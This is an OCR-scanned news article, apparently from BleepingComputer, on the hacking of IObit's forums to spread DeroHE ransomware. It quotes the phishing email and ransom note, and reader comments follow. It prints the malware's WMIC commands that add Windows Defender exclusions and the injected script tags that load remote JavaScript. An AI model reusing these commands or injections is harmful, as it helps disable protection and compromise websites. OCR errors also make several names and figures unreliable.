I0bit forums hacked to spread ransomware to its members
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Windows utility developer 10bit was hacked over the weekend to perform a widespread attack to distribute the strange DeroHE
ransomware to its forum members.

I0bit is a software developer known for Windows system optimization and anti-malware programs, such as Advanced
SystemCare.

Over the weekend, IObit forum members began receiving emails claiming to be from |0bit stating that they are entitled to a free
1-year license to their software as a special perk of being a forum member.
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)| @ X (@~ |FREE 1YEAR LICENSE - MEMBERS ONLY - Unicode (UTF-8) - o X
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FREE 1 YEAR LICENSE - MEMBERS ONL\!i

‘webmaster@iobit.com (webmaster@iobitcom) Add contact 1/16/2021 12:35 PM
To: undisclosed-recipients:

Hurry! only 2 days left

GET IT NOW

http://email.email.iobit.com/c/elw1js0KgzAQR)_GHMNUN]96yKGXvkfUDQaVSEwrvn1 TaGFO38A3M3ugkXUvkiegEBALO] IK5QamgGh7jkg2Da7 TwHtImOxSTFVOeReL594GljPYol200TUFxwHIOT RkIxCbX209z04enX g2 HOXv-fwSrixWLagec-f2wid E8VgfL3bSh1keX0A

10bit 'Promo’ email
Included in the email is a 'GET IT NOW!' link that redirects to hxxps://forums.iobit.com/promo.html. This page no longer
exists, but at the time of the attack, it was distributing a file at hxxps://forums.iobit.com/free-iobit-license-promo.zip.

This zip file [VirusTotal] contains digitally signed files from the legitimate IObit License Manager program, but with the
I0bitUnlocker.dll replaced with an unsigned malicious version shown below.
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DLL
Source: BleepingComputer
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When IObit License Manager.exe is executed, the malicious |0bitUnlocker.dll will be executed to install the DeroHE ransomware
to C:\Program Files (x86)\IObit\iobit.dll [VirusTotal]and execute it.

As most executables are signed with IOBit's certificate, and the zip file was hosted on their site, users installed the
ransomware thinking it was a legitimate promotion.

Based on reports at 10bit's forum and other forums [1, 2], this is a widespread attack that targeted all forum members.

A closer look at the DeroHE ransomware

BleepingComputer has since analyzed the ransomware to illustrate what happens when executed on a victim's computer.

When first started, the ransomware will add a Windows autorun named "IObit License Manager" that launches the "rundll32
"C:\Program Files (x86)\IObit\iobit.dIl",DIIEntry" command when logging in to Windows.

Emsisoft analyst Elise van Dorp, who also analyzed the ransomware, stated the ransomware adds the following Windows
Defender exclusions to allow the DLL to run.

@WMIC /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionPath=\"

@WMIC /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionPath=\"\Temp\\"

@WMIC /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionExtension=\".d11\"
@WMIC /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionProcess=\"rundl132.exe\"

The ransomware will now display a message box claiming to be from I0bit License Manager stating, "Please wait. It may take a
little longer than expected. Keep your computer running or screen on!' The ransomware shows this alert to prevent victims from
shutting off their devices before the ransomware finishes.

I0bit License Manager @

Please wait. It may take a little longer than expected. Keep your computer

running or screen on! Fake alert to not turn off the computer

Source: BleepingComputer
When encrypting victims, it will append the .DeroHE extension to encrypted files.
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Files encrypted by the
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6.DeroHE 7.DeroHE 8.DeroHE 9.DeroHE 10.DeroHE
11.DeroHE 12.DeroHE 13.DeroHE 14.DeroHE 15.DeroHE
1.DeroHE Date modified: 1/18/2021 12:24 PM Date created: 12/15/2016 9:58 AM
DEROHE File Size: 189 KB

DeroHE ransomware
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Source: BleepingComputer
Each encrypted file will also have a string of information appended to the end of the file, as shown below. The ransomware may
use this information to decrypt files if a ransom is paid.

{"version":"3","id":"dERiqiUutvp350SUFRSTCXL53TRakECSGQVQ2hhUjuCEjC62zSNFZsRgqavVVSdyEzaViULtCRPxzRWRCKZ23j2ugCg5r9SrERKe?
[{"size":193536, "esize":193564, "offset":0,"rm":"Phj8vfOREKYPKA9e9qkelEIYOGGCciqkQBSzfzg=="3}], "ext":".png"}

-4 010 Editor - C:A\Users\User\Desktop\test\1.DeroHE | 3]
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:F3F0h: 12& B3 42 8F 54 9C D4 84 AD 21 FE A3 2C C4 OE 53 .£B.Ted,-!bf,A.S
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:F420h: 33 35 6F 53 55 66 52 53 54 43 58 4C 35 33 54 52 | 350SUfRSTCXL53TR
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:F4D0h: 31 45 49 59 4F 47 47 63 69 71 6B 51 42 53 7A 66 1EIYOGGcigkQBSzf
:FAEOh: 7A 67 3D 3D 22 7D 5D 2C 22 65 78 74 22 3A 22 2E | zg="}],"ext":".
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Source: BleepingComputer
On the Windows desktop, the DeroHE ransomware will create two files named FILES_ENCRYPTED.html, containing a list of all
encrypted files, and the READ_TO_DECRYPT.html ransom note.

The ransom note has the title of 'Dero Homomorphic Encryption,’ and promotes a cryptocurrency called DERO. This note tells
the victim to send 200 coins, worth approximately $100, to the listed address to get a decryptor.
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@ Dero Homomeorphic Encryption X +

C O File | C/Users/User/Desktop/READ_TO_DECRYPT html * &

It is impossible to decrypt data without known key.

DON’T try to change files by yourself, DON’T use any third party software for restoring your data or
antivirus solutions - these actions may entail damage of the private key and, as result, the loss of
all your data.

We know that this computer is very valuable for you.

So we will give you an appropriate price for you.

You have 3 ways to get your files back.

1. Tell to send us 100600 (1 hundred thousand) DERO coin to this address.
dERopYDgpD2350SUfRSTCXL53TRakECSGQVQ2hhUjuCEjC6zSNFZsRgavVVsdyEzaViULtCRPxzRWRCKZ2j2ugCg26hRtLziwu

After payment arrive, all encrypted computer (including yours) will be decrypted. THIS IS IOBIT's
FAULT for your computer got hacked.

. Pay us 280 DERO (worth $10@ at the moment).. BUT

When DERO reach $10@/coin (soon), we will send $568 back to you. That’s 5x for your investment. We
will not sell DERO until then. You can verify it by using WALLET VIEW KEY provided on our website.
No one can fake this, even us, thank to the decentralized nature of DERO Blockchain.

Hurry up while DERO is still cheap!

Send your payment to this address:

Download Tor Browser and open for more information

DeroHE ransomware ransom note

Source: BleepingComputer

Enclosed in the ransom note is the ransomware's Tor

site http://deropayysnkri5xu7ic5fdprz5ixgdwy6ikxe2g3mh2erikudscrkpgd.onion, which can be used to make the payment.

Of particular interest, the Tor site states that 10bit can send $100,000 in DERO coins to decrypt all victims, as the attackers
blame |Obit for the compromise.

"Tell iobit.com to send us 100000 (1 hundred thousand) DERO coin to this address.

dERopYDgpD2350SUfRSTCXL53TRakECSGQVQ2hhUjuCEjC6zSNFZsRgavVVSdyEzaViULICRPxzRWRCKZ2j2ugCg26hRtLziwu"

"After payment arrive, all encrypted computer (including yours) will be decrypted. THIS IS IOBIT's FAULT to made your computer
getting infected," the DeroHE Tor payment site states.
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Dero is the next Bitcoin X E@

DK
<« C | @ deropayysnkrisxu7icsfdprzsixgdwyeikxe2g3mh2erikudscrkpad.onion % O 4 D
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Enter your ID to get your decryption key

>_ | enter your DERO address here and click submit Submit

HOwW TO Dero Ransomware Tor

we know that this computer is very valuable for you. So we will
give you an appropriate price for you.

You have 3 ways to get your files back.

1. Tell to send us 100000 (1 hundred thousand) DERO
coin to this address.
dEROpYDgpD2350SUfRSTCXL53TRakECSGQVQ2hhUjuCE]C6ZSNFZSRqavvVvs

After payment arrive, all encrypted computer (including
yours) will be decrypted. THIS IS IOBIT'S FAULT to made
your computer getting infected.

. Pay us at Tleast 200 DERO (worth $100 at the moment).. BUT
When DERO reach $100/coin (soon), we will send $500 back to

you. That’s 5x for your investment. We will not sell DERO

payment site
Source: BleepingComputer
The ransomware is being analyzed for weaknesses, and it is not known if it can be decrypted for free.

Furthermore, it is unknown if the threat actors will keep their word and provide a decryptor if payment is made.

I0bit forums likely compromised

To create the fake promotion page and host a malicious download, the attackers likely hacked IObit's forum and gained access
to an administrative account.

At this time, the forums still appear to be compromised, as if you visit missing pages that return a 404 error code, the web page
will display dialogs to subscribe to browser notifications. Your browser will begin to receive desktop notifications promoting adult
sites, malicious software, and other unwanted content when subscribed.
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forums.iobit.com website wants to
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m Deny rs  Driver Booster Review
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Today's Posts  Activity Stream  Who's Online  Member List Help Calendar

Invalid Page URL. If this is an error and the page should exist, please contact the system administrator and tell them how you got this message.

Compromised I0bit forum page

Source: BleepingComputer

Furthermore, if you click anywhere on the page, a new tab will open showing advertisements for adult sites. Other site sections
also appear to be compromised as clicking on forum links redirect you to similar adult pages.

Attackers compromised the forum by injecting a malicious script on all pages that are not found, as shown below.

510
511 <div id="content">
512 <div class="canvas-layout-container js-canvas-layout-container":
513 <script async src="//identifyluckyexactly.com/27227b7f0bfc8f310bd4cb8b22fc7075/invoke. js'></script>
514 <sCript type='text/javascript'
src="//identifyluckyexactly. com/50/a3/51/50a351a59c68401244bd1da2f8edbbes. js'></script>
515 <div id="canvas-layout-full" class="canvas-layout" data-layout-id="">
516 <div class="canvas-widget-1ist section-0">
517
518
519
520 Invalid Page URL. If this is an error and the page should exist, please contact the system administrator
and tell them how you got this message.
521
Compromised IObit forum page
Source: BleepingComputer

BleepingComputer has reached out to IObit with questions related to this attack but has not heard back.

Updated 01/19/20: A security researcher known as Ronny told BleepingComputer |OBit is using vBulletin 5.6.1 for their forum
software.

This version of vBulletin has a known vulnerabily that allows remote attackers to gain control over the forum.

Related Articles:

US Senate: Govt's ransomware fight hindered by limited reporting

Costa Rica declares national emergency after Conti ransomware attacks

New Black Basta ransomware springs into action with a dozen breaches

American Dental Association hit by new Black Basta ransomware

Wind turbine firm Nordex hit by Conti ransomware attack

e CryptoCurrency
o Cyberattack
e Dero
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Lawrence Abrams

Lawrence Abrams is the owner and Editor in Chief of BleepingComputer.com. Lawrence's area of expertise includes Windows,
malware removal, and computer forensics. Lawrence Abrams is a co-author of the Winternals Defragmentation, Recovery, and
Administration Field Guide and the technical editor for Rootkits for Dummies.
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Comments

EmanuelJacobsson - 1 year ago

o

o

Another blow to the reputation of 10bit

Some-Other-Guy - 1 year ago
[e]

o
What reputation?
It's an antimalware Company that can't stop malware!

| have a much better reputation of preventing malware while running Windows XP-SP2 online using a full admin account
without any Microsoft Security Updates

I've had ZERO malware problems for the past 7 years (ONLINE) and not one single case of ransomware!

Beat that!
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NickAu - 1 year ago

o

]

Oh come on get real, all sorts of places have been hacked including goverments, if you can produce 100% hack proof
anything especially forum software you are the next billionaire because everybody will want your software.

On a side note when | used Windows Xp and 7 | actually liked Advance System care so much | had the pro version, Yes |
know | could have done the same things using separate inbuilt windows tools but | was lazy.

bob3160 - 1 year ago

o
o
Any forum getting hacked is bad even if you don't like the company.

© Wi
Ad\}ancedSetup - 1 year ago

o

o

Not sure of the exact details. We'll have to wait for an official word from iObit but using the Way Back Machine it shows
their forum was using vBulletin 5.6.1 as of 01/12/2021 and the latest version from vBulletin is 5.6.4 back in Oct, 2020 -
which would appear to be 3 versions newer.

Again, | do not know if this is the reason. Only bringing it up in case someone else is running outdated vBulletin software
you should update it ASAP.

Lawrence Abrams - 1 year ago

o
o
Yes, they are using an outdated version of vBulletin. Need to update the story to include that.

Post a Comment Community Rules
You need to login in order to post a comment

Not a member yet? Register Now
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